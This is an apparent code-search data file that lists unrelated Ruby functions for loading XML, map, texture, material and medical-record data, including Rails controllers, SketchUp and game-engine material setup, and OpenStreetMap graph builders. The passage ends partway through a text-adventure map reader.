"def create_from_xml\n unless params[:metadata_file].present?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n xml_ds = XmlDatastream.new\n begin\n xml_ds.load_xml(params[:metadata_file])\n rescue DRI::Exceptions::InvalidXML\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n rescue DRI::Exceptions::ValidationErrors => e\n flash[:notice] = e.message\n @error = e.message\n return false\n end\n\n if xml_ds.metadata_standard.nil?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n @object = DRI::DigitalObject.with_standard xml_ds.metadata_standard\n @object.update_metadata xml_ds.xml\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n if @object.descMetadata.is_a?(DRI::Metadata::EncodedArchivalDescriptionComponent)\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n unless @object.collection?\n flash[:notice] = t('dri.flash.notice.specify_collection')\n @error = t('dri.flash.notice.specify_collection')\n return false\n end\n\n @object.apply_depositor_metadata(current_user.to_s)\n @object.manager_users_string = current_user.to_s\n @object.discover_groups_string = 'public'\n @object.read_groups_string = 'public'\n @object.master_file_access = 'private'\n\n @object.ingest_files_from_metadata = params[:ingest_files] if params[:ingest_files].present?\n\n true\n end",
"def material_use\n materials = []\n materials\n end",
"def initMaterials\n @wall_mat = Material.new(assetManager, 'Common/MatDefs/Misc/Unshaded.j3md')\n key = TextureKey.new('Textures/Terrain/BrickWall/BrickWall.jpg')\n key.setGenerateMips(true)\n tex = assetManager.loadTexture(key)\n @wall_mat.setTexture('ColorMap', tex)\n\n @stone_mat = Material.new(assetManager, 'Common/MatDefs/Misc/Unshaded.j3md')\n key2 = TextureKey.new('Textures/Terrain/Rock/Rock.PNG')\n key2.setGenerateMips(true)\n tex2 = assetManager.loadTexture(key2)\n @stone_mat.setTexture('ColorMap', tex2)\n\n @floor_mat = Material.new(assetManager, 'Common/MatDefs/Misc/Unshaded.j3md')\n key3 = TextureKey.new('Textures/Terrain/Pond/Pond.jpg')\n key3.setGenerateMips(true)\n tex3 = assetManager.loadTexture(key3)\n tex3.setWrap(WrapMode::Repeat)\n @floor_mat.setTexture('ColorMap', tex3)\n end",
"def load_tiletypes\n begin\n blocktypes = @doc.root.elements[\"blocktypes\"]\n real_blocktypes = blocktypes\n\n if blocktypes.has_attributes? and blocktypes.attributes['src'] then\n src = get_local_file(blocktypes.attributes['src'])\n real_blocktypes = REXML::Document.new(src).root\n end\n\n\treal_blocktypes.each_element { |blocktype_element|\n\t code = blocktype_element.attributes[\"code\"]\n\t path = blocktype_element.attributes[\"path\"]\n\t @log.debug \"Loading new Tile with code '#{code}' and path '#{path}'\"\n\n make_tile_solid = (blocktype_element.attributes[\"solid\"] == \"solid\")\n\n begin\n new_blocktype = Tile.new(Image.load(path), make_tile_solid)\n rescue Image::ImageFileNotFoundException => ifnfe\n @log.error ifnfe.message\n new_blocktype = Tile.new(nil, make_tile_solid)\n end\n\n\t @blocktypes[code] = new_blocktype\n\t}\n rescue => ex\n\[email protected] \"Cannot read XML node 'map/blocktypes' in datafile #{source_name}. (\" + ex.message + \")\"\n raise\n end\n end",
"def load_graph()\n\n\t\t# Get bounds which are needed later\n\t\tdoc = File.open(@filename) { |f| Nokogiri::XML (f) }\n\n\t\t# get bounds\n\t\tbounds = {}\n\n\t\tdoc.xpath(\"//bounds\").each do |boundsValues|\n\t\t\tbounds[:minlon] = boundsValues[:minlon]\n\t\t\tbounds[:minlat] = boundsValues[:minlat]\n\t\t\tbounds[:maxlon] = boundsValues[:maxlon]\n\t\t\tbounds[:maxlat] = boundsValues[:maxlat]\n\t\tend\n\n\t\t# load nodes\n\t\tvertices = {}\n\t\tvisualVertices = {}\n\t\tdoc.xpath(\"//node\").each do |node|\n\t\t\t# this vertex\n\t\t\tnormalVertex = Vertex.new(node[:id])\n\t\t\tvertices[node[:id]] = normalVertex\n\n\t\t\t# kinda confusing to have lat, lon and x, y when they have the same value\n\t\t\tvisualVertex = VisualVertex.new(node[:id], normalVertex, node[:lat], node[:lon], node[:lat], node[:lon])\n\t\t\tvisualVertices[node[:id]] = visualVertex\n\t\tend\n\n\t\t# load edges\n\t\tedgesAr = []\n\t\tvisualEdgesAr = []\n\t\tv1 = nil\n\t\tskip = true\n\t\twayCounter = 0\n\t\twayCounter2 = 0\n\n\n\n\t\tdoc.xpath(\"//way\").each do |way|\n\t\t\tdoc2 = Nokogiri::XML(way.to_s)\n\t\t\t# for each way check tags for highway, speed etc\n\t\t\twayCounter2 = wayCounter2 + 1\n\t\t\tv1 = nil\n\t\t\tskip = true\n\t\t\tmaxSpeed = 50\n\t\t\toneWay = false\n\n\t\t\tdoc2.xpath(\"//tag\").each do |tag|\n\t\t\t\tif tag[:k] == \"highway\" && (@highway_attributes.include? tag[:v])\n\t\t\t\t\tskip = false\n\t\t\t\tend\n\n\t\t\t\tif tag[:k] == \"maxspeed\"\n\t\t\t\t\tmaxSpeed = tag[:v].to_i\n\t\t\t\tend\n\n\t\t\t\tif tag[:k] == \"oneway\" && tag[:v] == \"yes\"\n\t\t\t\t\toneWay = true\n\t\t\t\tend\n\n\t\t\t\t# Set max speed based on the tag\n\t\t\t\tif tag[:k] == \"source:maxspeed\"\n\t\t\t\t\tif tag[:v] == \"CZ:motorway\"\n\t\t\t\t\t\tmaxSpeed = 130\n\t\t\t\t\telsif tag[:v] == \"CZ:trunk\"\n\t\t\t\t\t\tmaxSpeed = 110\n\t\t\t\t\telsif tag[:v] == \"CZ:rural\"\n\t\t\t\t\t\tmaxSpeed = 90\n\t\t\t\t\telsif tag[:v] == \"CZ:urban_motorway\"\n\t\t\t\t\t\tmaxSpeed = 80\n\t\t\t\t\telsif tag[:v] == \"CZ:urban_trunk\"\n\t\t\t\t\t\tmaxSpeed = 80\n\t\t\t\t\telsif tag[:v] == \"CZ:urban\"\n\t\t\t\t\t\tmaxSpeed = 50\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif !skip\n\t\t\t\twayCounter = wayCounter + 1\n\n\t\t\t\tdoc2.xpath(\"//nd\").each do |point|\n\t\t\t\t\tif v1 == nil\n\t\t\t\t\t\tv1 = point[:ref]\n\t\t\t\t\telse\n\t\t\t\t\t\t# create normal edge\n\t\t\t\t\t\tnewEdge = {:vertex1 => v1, :vertex2 => point[:ref], :maxSpeed => maxSpeed, :oneWay => oneWay}\n\t\t\t\t\t\tedgesAr << newEdge\n\n\n\t\t\t\t\t\t# edges << Edge.new(v1, point[:ref], maxSpeed, oneWay)\n\t\t\t\t\t\tv1 = point[:ref]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# we have all the edges eg lines. there is a lot of duplicates so reduce them!\n\t\tedgesArReduced = edgesAr.uniq\n\n\t\t# used is a unique hash of used vertices - we don't need points that are not being referenced by any path\n\t\tusedVertices = {}\n\t\tusedVisualVertices = {}\n\t\tedges = []\n\t\t# now put them into the array as instances of the required class Edge\n\t\tedgesArReduced.each do |edge|\n\t\t\tnewEdgeReduced = Edge.new(vertices[edge[:vertex1]], vertices[edge[:vertex2]], edge[:maxSpeed], edge[:oneWay])\n\n\t\t\t# used vertices\n\t\t\tusedVertices[edge[:vertex1]] = vertices[edge[:vertex1]]\n\t\t\tusedVertices[edge[:vertex2]] = vertices[edge[:vertex2]]\n\n\t\t\tedges << newEdgeReduced # create visual edge\n\n\n\t\t\tvisualEdge = VisualEdge.new(newEdgeReduced, visualVertices[edge[:vertex1]], visualVertices[edge[:vertex2]])\n\t\t\tusedVisualVertices[edge[:vertex1]] = visualVertices[edge[:vertex1]]\n\t\t\tusedVisualVertices[edge[:vertex2]] = visualVertices[edge[:vertex2]]\n\n\t\t\tvisualEdgesAr << visualEdge\n\t\tend\n\n\t\t# load\n\t\t#\n\t\t# test generating the graph with the graphwiz - all seems good in the exported file\n\t\tgraph = Graph.new(usedVertices, edges)\n\t\tvisualGraph = VisualGraph.new(graph, usedVisualVertices, visualEdgesAr, bounds)\n\n\t\t# we have edges nwo find the largest component\n\t\tcomponents = {}\n\n\n\t\treturn graph, visualGraph\n\n\tend",
"def show\n @raw_materials = RawMaterial.all\n super\n end",
"def show\n @material = @testfile.material\n end",
"def show\n @st_material_data = StMaterialData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @st_material_data }\n end\n end",
"def add_material(face)\n\t\t\t\t\n\t\t\t\tmaterial = face.material\n\t\t\t\t\n\t\t\t\tindex = @materials_hash[material]\n\t\t\t\t\n\t\t\t\tif (index != nil)\n\t\t\t\t\treturn index\n\t\t\t\tend\n\n\t\t\t\tif (material == nil)\n\t\t\t\t\tif @defaultMaterial == -1\n\t\t\t\t\t\t#@defaultMaterial = add_material_node(\"default material\",0.5,0.5,0.75,1.0, 0.1,0.5,true,nil)\n\t\t\t\t\t\t@defaultMaterial = add_material_node(\"default material\",1,1,1,1.0, 0.1,0.5,true,nil) #Use white (not blue) as a default material\n\t\t\t\t\tend\n\t\t\t\t\treturn @defaultMaterial\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tdouble_sided = false\n\t\t\t\tif face.class == Sketchup::Face \t# 'face' might be an entity such as group or component\n\n\t\t\t\t\t#puts \"FRONT face material: \" + face.material.name\n\t\t\t\t\t#puts \"r:\" + face.material.color.red.to_s + \" g:\" + face.material.color.green.to_s + \" b:\" + face.material.color.blue.to_s + \" a:\" + face.material.alpha.to_s \n\n\t\t\t\t\tif face.back_material != nil\n\t\t\t\t\t\tdouble_sided = true\n\n\t\t\t\t\t\t#puts \"BACK face material: \" + face.back_material.name\n\t\t\t\t\t\t#puts \"r:\" + face.back_material.color.red.to_s + \" g:\" + face.back_material.color.green.to_s + \" b:\" + face.back_material.color.blue.to_s + \" a:\" + face.back_material.alpha.to_s \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tmetallicFactor = get_material_attribute(material, 'pbr','metallicFactor',0.1)\n\t\t\t\troughnessFactor = get_material_attribute(material, 'pbr', 'roughnessFactor',0.9)\n\t\t\t\t\n\t\t\t\t@materials_hash[material] = @materials.length\n\t\t\t\t\n\t\t\t\tname = face.material.display_name\n\t\t\t\t#puts 'Material display name: ' + name\n\n\t\t\t\ta = material.alpha\n\t\t\t\tr = material.color.red / 255.0\n\t\t\t\tg = material.color.green / 255.0\n\t\t\t\tb = material.color.blue / 255.0\n\t\t\t\t\n\t\t\t\t# In future version have lookup into common materials table?\n\t\t\t\tif name != nil\n\t\t\t\t\tlname = name.downcase\n\t\t\t\t\tif name.include? 'gold'\n\t\t\t\t\t\tmetallicFactor = 0.75\n\t\t\t\t\t\troughnessFactor = 0.0\n\t\t\t\t\tend\n\t\t\t\t\tif name.include? 'silver'\n\t\t\t\t\t\tmetallicFactor = 0.75\n\t\t\t\t\t\troughnessFactor = 0.0\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif (lname.include? 'metal') || (lname.include? 'steel')\n\t\t\t\t\t\tmetallicFactor = 0.75\n\t\t\t\t\t\troughnessFactor = 0.0\n\t\t\t\t\tend\n\t\t\t\t\tif lname.include? 'aluminium'\n\t\t\t\t\t\tmetallicFactor = 0.75\n\t\t\t\t\t\troughnessFactor = 0.40\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif (material.texture != nil)\n\t\t\t\t\ttexture_id = @textures.add_texture(face)\n\t\t\t\t\treturn add_material_node(name, r,g,b,a, metallicFactor, roughnessFactor, double_sided, texture_id)\n\t\t\t\tend\n\n\t\t\t\treturn add_material_node(name, r,g,b,a, metallicFactor, roughnessFactor, double_sided, nil)\n\t\t\tend",
"def import_nessus_xml_file(args={})\n\t\tfilename = args[:filename]\n\t\twspace = args[:wspace] || workspace\n\n\t\tf = File.open(filename, 'rb')\n\t\tdata = f.read(f.stat.size)\n\n\t\tif data.index(\"NessusClientData_v2\")\n\t\t\timport_nessus_xml_v2(args.merge(:data => data))\n\t\telse\n\t\t\timport_nessus_xml(args.merge(:data => data))\n\t\tend\n\tend",
"def load\r\n \r\n end",
"def load; end",
"def load; end",
"def load; end",
"def import(root_path = Rails.root, folders = \"/public/\")\n map_file = File.open(\"#{root_path}#{folders}#{map_source}\", \"r\")\n map_array = map_file.readlines\n map_height = map_array.length\n layers_array = Array.new\n index = 0\n\n import_attributes(map_array)\n import_tileset(map_array)\n\n while index < map_height\n current_line = map_array[index].to_s.strip \n if assert_tag(\"layer\", current_line)\n default_values = [0,0,0,0,0,0]\n values = Map.extract_tag(\"layer\", current_line)\n (0...default_values.length).each do |i|\n unless values[i].nil?\n default_values[i] = values[i].to_i\n end\n end\n current_layer = extract_body(map_array[index...map_height],\"layer\")\n layer_string = \"\"\n current_layer.each do |line|\n layer_string = layer_string + line + \"-\"\n end\n is_scrolling = ((default_values[3] != 0 || default_values[4] != 0))\n new_layer = Layer.create(array: layer_string.chop, is_tile_layer: true, tileset_id: @tilesets[default_values[0]].id, is_static: (default_values[2] == 1), horizontal_speed: default_values[3], vertical_speed: default_values[4], is_tile_scroll: default_values[5], opacity: default_values[1], is_scrolling: is_scrolling )\n layers_array.push(new_layer)\n end\n\n if assert_tag(\"fill\", current_line)\n values = Map.extract_tag(\"fill\", current_line)\n new_layer = Layer.create(background_color: values[0], is_fill_layer: true, opacity: values[1].to_f)\n layers_array.push(new_layer)\n end\n\n if assert_tag(\"background_image\", current_line)\n values = Map.extract_tag(\"background_image\", current_line)\n new_layer = Layer.create(image: values[0], is_x_repeat: values[1], is_y_repeat: values[2], is_x_stretch: values[3], is_y_stretch: values[4], is_static: values[5])\n layers_array.push(new_layer)\n end\n index = index.next\n end\n return layers_array\n end",
"def show\n # @attribute_layer = @palette.attribute_layers.find(attribute_layer_params[:id])\n end",
"def load\n initialize(File.info(uuid).entity)\n end",
"def load_dicom(file)\n #obj = DICOM::DObject.new(file, :verbose => false)\n #if obj.read_success\n # Load image as RMagick object:\n #@image = obj.get_image_magick(:rescale => true)\n @image = ImageList.new(file)\n puts \"@image.class: #{@image.class}\"\n unless @image # Load an empty image object.\n @image = Magick::ImageList.new\n @image.new_image(0,0){ self.background_color = \"black\" }\n end\n # Add information from the DICOM object to the the tree model and update widgets:\n #model = TreeModel.new(obj)\n #@treeView.model = model\n @imageWidget.load_pixmap\n #else # Failed:\n # Qt::MessageBox.warning(self, tr(\"Open file\"), tr(\"Error: Selected file is not recognized as a DICOM file.\"))\n #end\n end",
"def load\n @shapefile.stage do\n @solr.create_document(@shapefile)\n end\n end",
"def import_to_directededge\n @database.import('examplestore.xml')\n end",
"def main catalog, ws, layers, flags = {}\n raise ArgumentError, \"Layer is malformed\" unless not layers.nil? and layers.is_a? Hash and not layers.empty?\n\n # Iterate over all records in YAML file and create stores in the catalog\n layers.each do |k, v|\n ['layername', 'format', 'filename', 'title'].each do |i|\n raise ArgumentError, \"Layer is missing #{i}\" unless v.include?(i) and v[i] != nil\n end\n puts \"Processing layer #{k}\" if flags[:verbose]\n\n layername = v['layername'].strip\n format = v['format'].strip\n \n case format\n when 'GeoTIFF'\n do_raster catalog, layername, format, ws, v, flags\n when 'Shapefile'\n do_vector catalog, layername, format, ws, flags[:datastore], v, flags\n else\n raise NotImplementedError, \"Unsupported format #{format}\" \n end\n end\nend",
"def load_graph\n\n # aux data structures\n hash_of_vertices = {}\n list_of_edges = []\n hash_of_visual_vertices = {}\n list_of_visual_edges = []\n @neighbor_vertices = {}\n\n File.open(@filename, \"r\") do |file|\n doc = Nokogiri::XML::Document.parse(file)\n it = 0\n temp_nodes = {}\n doc.root.xpath(\"node\").each do |node|\n id = node[\"id\"]\n temp_nodes[id] = node\n end\n\n doc.root.xpath(\"way\").each do |way|\n highway_tag = way.at_xpath(\"tag[@k='highway']\")\n unless highway_tag.nil?\n if @highway_attributes.include?(highway_tag[\"v\"])\n # p \"Processing way ##{it}\"\n it += 1\n nds = way.xpath(\"nd\")\n speed_tag = way.at_xpath(\"tag[@k='maxspeed']\")\n max_speed = 50\n max_speed = speed_tag[\"v\"].to_f unless speed_tag.nil?\n\n nds.each_with_index do |nd, i|\n node_id = nd[\"ref\"]\n node = temp_nodes[node_id]\n # ProcessLogger.log(\"\\t Vertex #{node_id} loaded\")\n\n unless hash_of_vertices.has_key?(node_id)\n v = Vertex.new(node_id)\n # hash_of_vertices[node_id] = v\n\n # TODO: Get position from lat and lon\n hash_of_visual_vertices[node_id] = VisualVertex.new(node_id, v, node[\"lat\"], node[\"lon\"], node[\"lat\"], node[\"lon\"])\n\n end\n unless i == nds.length - 1\n node2_id = nds[i + 1][\"ref\"]\n list_of_edges << Edge.new(node_id, node2_id, max_speed, false)\n @neighbor_vertices[node_id] = [] unless @neighbor_vertices.has_key? node_id\n @neighbor_vertices[node2_id] = [] unless @neighbor_vertices.has_key? node2_id\n @neighbor_vertices[node_id] << node2_id\n @neighbor_vertices[node2_id] << node_id\n end\n end\n end\n end\n way.remove\n end\n end\n if @only_comp\n largest_component = get_largest_component\n\n # filter only vertices and edges in largest component\n list_of_edges = list_of_edges.select { |edge| largest_component.include? edge.v1 }\n hash_of_visual_vertices = hash_of_visual_vertices.select { |k, v| largest_component.include? k }\n hash_of_vertices = hash_of_visual_vertices.each { |k, v| hash_of_vertices[k] = v.vertex }\n\n end\n list_of_edges.each { |e| list_of_visual_edges << VisualEdge.new(e, hash_of_visual_vertices[e.v1], hash_of_visual_vertices[e.v2]) }\n\n # Create Graph instance\n g = Graph.new(hash_of_vertices, list_of_edges)\n\n # Create VisualGraph instance\n bounds = get_bounds(hash_of_visual_vertices)\n vg = VisualGraph.new(g, hash_of_visual_vertices, list_of_visual_edges, bounds)\n\n return g, vg\n end",
"def new\n @st_material_data = StMaterialData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @st_material_data }\n end\n end",
"def load_xml(source)\n #begin\n if source.is_a? Nokogiri::XML::Document\n @document = source\n else\n #source =~ /\\<DIF\\>/\n if source.size < 255 and File.exists? source\n source = File.read source\n end\n @document = Nokogiri::XML::Document.parse( source, nil, nil ) #, Nokogiri::XML::ParseOptions::NOBLANKS\n end\n # Sets all properties like Entry_ID for this instance\n load_hash(document_to_hash)\n \n #rescue => e\n #puts e.backtrace\n #raise ArgumentError, \"Cannot load DIF XML: \" + e.message[0..255]\n #end\n end",
"def setup\n self.parse() # load file\n puts(\"+Constructing a total of (#{@groups.keys.size}) Groups:\") if @verbose\n @groups.each_value do |grp|\n grp.displaylist = glGenLists( 1 )\n glNewList(grp.displaylist, GL_COMPILE )\n puts(\" * \\\"#{grp.name}\\\" : Faces(#{grp.faces.size}) openGL draw list cached.\") if @verbose\n grp.gl_draw_list(self) # create precahced draw operation\n glEndList()\n end\n puts(\"+Total Count of Faces: [ #{self.get_face_count} ]\") if @verbose\n # display materials information\n puts(\"+Material Lib: \\\"#{material_lib}\\\" with (#{@current_materials.size}) Name Refrences.\") if @verbose\n end",
"def initialize(node)\n # ------- fundamental info -------\n @name = node.attributes[\"name\"]\n # ------- load surface -------\n # initialize surface list\n @surflist = Array.new\n # read surface one by one\n node.elements.each(\"surface\") do |s|\n if s.attributes[\"name\"]\n # get surface name\n sname = s.attributes[\"name\"].downcase\n # check existence of attribution \"name\"\n raise ArgumentError, \"surface #{sname} do not found!\" \\\n unless @@surflib[sname]\n # copy surface from surface lib\n @surflist << @@surflib[sname].clone\n else\n # load surface by configuration\n @surflist << SurfConfig.new(s)\n end\n end\n # ------- load camera -------\n @camera = CamConfig.new(node.elements[\"camera\"])\n # ------- show information -------\n puts \"Loaded Model : #{@name}\"\n end",
"def set_training_material\n @training_material = TrainingMaterial.find(params[:id])\n end",
"def initialize (check_usable = true)\n @measure_importers = {}\n @section_importers = {}\n @id_map = {}\n @section_importers[:encounters] = SectionImporterC32.new(\"//cda:section[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.127']/cda:entry/cda:encounter\")\n @section_importers[:procedures] = SectionImporterC32.new(\"//cda:procedure[cda:templateId/@root='2.16.840.1.113883.10.20.1.29']\")\n @section_importers[:results] = SectionImporterC32.new(\"//cda:observation[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.15.1'] | //cda:observation[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.15']\")\n @section_importers[:vital_signs] = SectionImporterC32.new(\"//cda:observation[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.14']\")\n @section_importers[:medications] = SectionImporterC32.new(\"//cda:section[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.112']/cda:entry/cda:substanceAdministration\",\n \"./cda:consumable/cda:manufacturedProduct/cda:manufacturedMaterial/cda:code\",\n nil,\n \"./cda:consumable/cda:manufacturedProduct/cda:manufacturedMaterial/cda:code/cda:originalText/cda:reference[@value]\")\n @section_importers[:conditions] = SectionImporterC32.new(\"//cda:section[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.103']/cda:entry/cda:act/cda:entryRelationship/cda:observation\",\n \"./cda:value\",\n \"./cda:entryRelationship/cda:observation[cda:templateId/@root='2.16.840.1.113883.10.20.1.50']/cda:value\",\n \"./cda:text/cda:reference[@value]\")\n @section_importers[:social_history] = SectionImporterC32.new(\"//cda:observation[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.19']\")\n @section_importers[:care_goals] = SectionImporterC32.new(\"//cda:observation[cda:templateId/@root='2.16.840.1.113883.10.20.1.25']\")\n @section_importers[:medical_equipment] = SectionImporterC32.new(\"//cda:section[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.128']/cda:entry/cda:supply\",\n \"./cda:participant/cda:participantRole/cda:playingDevice/cda:code\")\n @section_importers[:allergies] = SectionImporterC32.new(\"//cda:observation[cda:templateId/@root='2.16.840.1.113883.10.20.1.18']\",\n \"./cda:participant/cda:participantRole/cda:playingEntity/cda:code\")\n @section_importers[:immunizations] = SectionImporterC32.new(\"//cda:section[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.117']/cda:entry/cda:substanceAdministration\",\n \"./cda:consumable/cda:manufacturedProduct/cda:manufacturedMaterial/cda:code\",\n nil,\n \"./cda:consumable/cda:manufacturedProduct/cda:manufacturedMaterial/cda:code/cda:originalText/cda:reference[@value]\" )\n end",
"def show\n @raw_material = RawMaterial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @raw_material }\n end\n end",
"def set_raw_material\n @raw_material = RawMaterial.find(params[:id])\n end",
"def set_raw_material\n @raw_material = RawMaterial.find(params[:id])\n end",
"def load_definitions\n return unless @doc.root.elements['load_pre'] != nil\n\n @doc.root.elements['load_pre'].each_element do |element|\n case element.name\n when 'image'\n load_image(element)\n when 'animation'\n load_animation(element)\n else\n raise \"Unknown element '#{element.name}' found in Model source #@src.\"\n end\n end\n end",
"def read_geometry(geom_elem, id_elem_hash, material_symbol_hash, material_count_hash)\n mesh_elem = get_child_elem(geom_elem, 'mesh')\n meshes = []\n mesh_elem.elements.each('triangles') do |triangles_elem|\n meshes << read_triangles(triangles_elem, id_elem_hash, material_symbol_hash, material_count_hash)\n end\n meshes\nend",
"def findtextures(ent, tw)\n ent.each do |e|\n if(e.class ==Sketchup::Group)\n findMaterialModellingError(e)\n findtextures(e.entities, tw)\n elsif(e.class == Sketchup::ComponentInstance)\n findtextures(e.definition.entities, tw)\n elsif(e.class == Sketchup::Face)\n #Überprüfen, ob Textur auf der Vorderseite des Faces ist\n if(e.material != nil and e.material.texture != nil)\n tw.load(e, true) if(!e.hidden? and e.visible?)\n end\n @backMaterialCount += 1 if(e.back_material != nil)\n #Überprüfen, ob sich eine Textur auf der Rückseite befindet\n #if(e.back_material != nil and e.back_material.texture != nil)\n # tw.load(e, false) if(!e.hidden? and e.visible?)\n #end\n end\n end\n end",
"def setup_layers\n\tend",
"def import()\n # TODO\n end",
"def edit_pack_materials\n return if authorise_for_web(program_name?, 'production_run_setup')==false\n begin\n id = params[:id]\n if id && @production_run = ProductionRun.find(id)\n @production_run_pack_material = ProductionRunPackMaterial.new\n @production_run_pack_material.production_run = @production_run\n render_edit_pack_materials\n end\n rescue\n handle_error(\"pack material edit form could not be rendered\")\n end\n end",
"def initialize\n @commandList = Array.new()\n @db = Sequel.sqlite\n @db.create_table :materials do # Create a new table\n primary_key :id, :integer, :auto_increment => true\n column :command_name, :text\n column :name, :text\n column :type, :text\n column :thickness, :float\n column :conductivity, :float\n column :resistance, :float\n column :density, :float\n column :spec_heat, :float\n end\n @materials = @db[:materials] # Create a dataset\n\n @db.create_table :layers do # Create a new table\n primary_key :id, :integer, :auto_increment => true\n column :command_name, :text\n column :name, :text\n column :material, :text\n column :inside_film_res, :float\n end\n @layers = @db[:layers] # Create a dataset\n\n\n store_material()\n end",
"def read_map(mapfile)\n mapfile = File.join(\"lib\", \"adventure\", \"data\", mapfile)\n xml = Document.new(File.open(mapfile))\n @@name = xml.root.attributes[\"name\"]\n\n xml.elements.each(\"Map/variable\") do |e|\n tmp = e.attributes[\"value\"].split(/\\|/)\n case e.attributes[\"name\"]\n when /MAX_INDEX/ : @@max_index = [tmp[0].to_i, tmp[1].to_i]\n when /START_ROOM/ : @@start_room = e.attributes[\"value\"]\n when /WELCOME_MESSAGE/ : @@welcome_message = e.text\n end\n end # xml.elements.each(\"Map/variable\")\n\n xml.elements.each(\"Map/message\") do |message|\n mymessage = Message.new(\n message.attributes[\"message_id\"] ,\n message.text)\n end # xml.elements.each(\"Map/message\")\n\n xml.elements.each(\"Map/item\") do |item|\n myitem = Thing.new(\n item.attributes[\"item_id\"],\n item.text(\"identifier\"),\n item.text(\"use_with\"),\n item.text(\"name\"),\n item.text(\"info\"),\n item.text(\"look_text\")\n )\n item.elements.each(\"event\") do |event|\n myevent = myitem.add_event(\n event.attributes[\"name\"],\n event.text(\"unique\"),\n event.text(\"condition\"),\n event.text(\"phrase\"),\n event.text(\"message\")\n )\n event.elements.each(\"command\") do |command|\n myevent.add_command(\n command.text(\"action\"),\n command.text(\"object\"),\n command.text(\"helper\")\n )\n end #xml.elements.each(\"command\") do |command|\n end # element.elements.each(\"event\") do |event|\n end # xml.elements.each(\"Map/item\") do |element|\n\n xml.elements.each(\"Map/person\") do |person|\n myperson = Person.new(\n person.attributes[\"person_id\"],\n person.text(\"identifier\"),\n person.text(\"name\"),\n person.text(\"info\"),\n person.text(\"look_text\")\n )\n person.elements.each(\"item\") do |item|\n myperson.add_thing(\n item.attributes[\"item_id\"],\n item.text(\"identifier\"),\n item.text(\"use_with\"),\n item.text(\"name\"),\n item.text(\"info\"),\n item.text(\"look_text\")\n )\n end\n person.elements.each(\"event\") do |event|\n myevent = myperson.add_event(\n event.attributes[\"name\"],\n event.text(\"unique\"),\n event.text(\"condition\"),\n event.text(\"phrase\"),\n event.text(\"message\")\n )\n event.elements.each(\"command\") do |command|\n myevent.add_command(\n command.text(\"action\"),\n command.text(\"object\"),\n command.text(\"helper\")\n )\n end #xml.elements.each(\"command\") do |command|\n end # person.elements.each(\"event\") do |event|\n end #xml.elements.each(\"Map/person\") do |person|\n\n xml.elements.each(\"Map/door\") do |door|\n mydoor = Door.new(\n door.attributes[\"door_id\"],\n door.text(\"identifier\"),\n door.text(\"exit\"),\n door.text(\"open\"),\n door.text(\"key\"),\n door.text(\"name\"),\n door.text(\"info\"),\n door.text(\"look_text\")\n )\n door.elements.each(\"item\") do |item|\n mydoor.add_thing(\n item.attributes[\"item_id\"],\n item.text(\"identifier\"),\n item.text(\"use_with\"),\n item.text(\"name\"),\n item.text(\"info\"),\n item.text(\"look_text\")\n )\n end\n door.elements.each(\"event\") do |event|\n myevent = mydoor.add_event(\n event.attributes[\"name\"],\n event.text(\"unique\"),\n event.text(\"condition\"),\n event.text(\"phrase\"),\n event.text(\"message\")\n )\n event.elements.each(\"command\") do |command|\n myevent.add_command(\n command.text(\"action\"),\n command.text(\"object\"),\n command.text(\"helper\")\n )\n end #xml.elements.each(\"command\") do |command|\n end # person.elements.each(\"event\") do |event|\n end #xml.elements.each(\"Map/door\") do |door|\n\n xml.elements.each(\"Map/room\") do |room|\n myroom = Room.new(\n room.attributes[\"room_id\"],\n room.text(\"identifier\"),\n room.text(\"exits\"),\n room.text(\"name\"),\n room.text(\"info\"),\n room.text(\"look_text\")\n )\n room.elements.each(\"event\") do |event|\n myevent = myroom.add_event(\n event.attributes[\"name\"],\n event.text(\"unique\"),\n event.text(\"condition\"),\n event.text(\"phrase\"),\n event.text(\"message\")\n )\n event.elements.each(\"command\") do |command|\n myevent.add_command(\n command.text(\"action\"),\n command.text(\"object\"),\n command.text(\"helper\")\n )\n end #xml.elements.each(\"command\") do |command|\n end # room.elements.each(\"event\") do |event|\n\n room.elements.each(\"item\") do |item|\n myroom.add_thing(\n item.attributes[\"item_id\"],\n item.text(\"identifier\"),\n item.text(\"use_with\"),\n item.text(\"name\"),\n item.text(\"info\"),\n item.text(\"look_text\")\n )\n end # room.elements.each(\"item\") do |item|\n\n room.elements.each(\"door\") do |door|\n mydoor = myroom.add_door(\n door.attributes[\"door_id\"],\n door.text(\"identifier\"),\n door.text(\"exit\"),\n door.text(\"open\"),\n door.text(\"key\"),\n door.text(\"name\"),\n door.text(\"info\"),\n door.text(\"look_text\")\n )\n door.elements.each(\"item\") do |item|\n mydoor.add_thing(\n item.attributes[\"item_id\"],\n item.text(\"identifier\"),\n item.text(\"use_with\"),\n item.text(\"name\"),\n item.text(\"info\"),\n item.text(\"look_text\")\n )\n end #door.elements.each(\"item\") do |item|\n door.elements.each(\"event\") do |event|\n myevent = 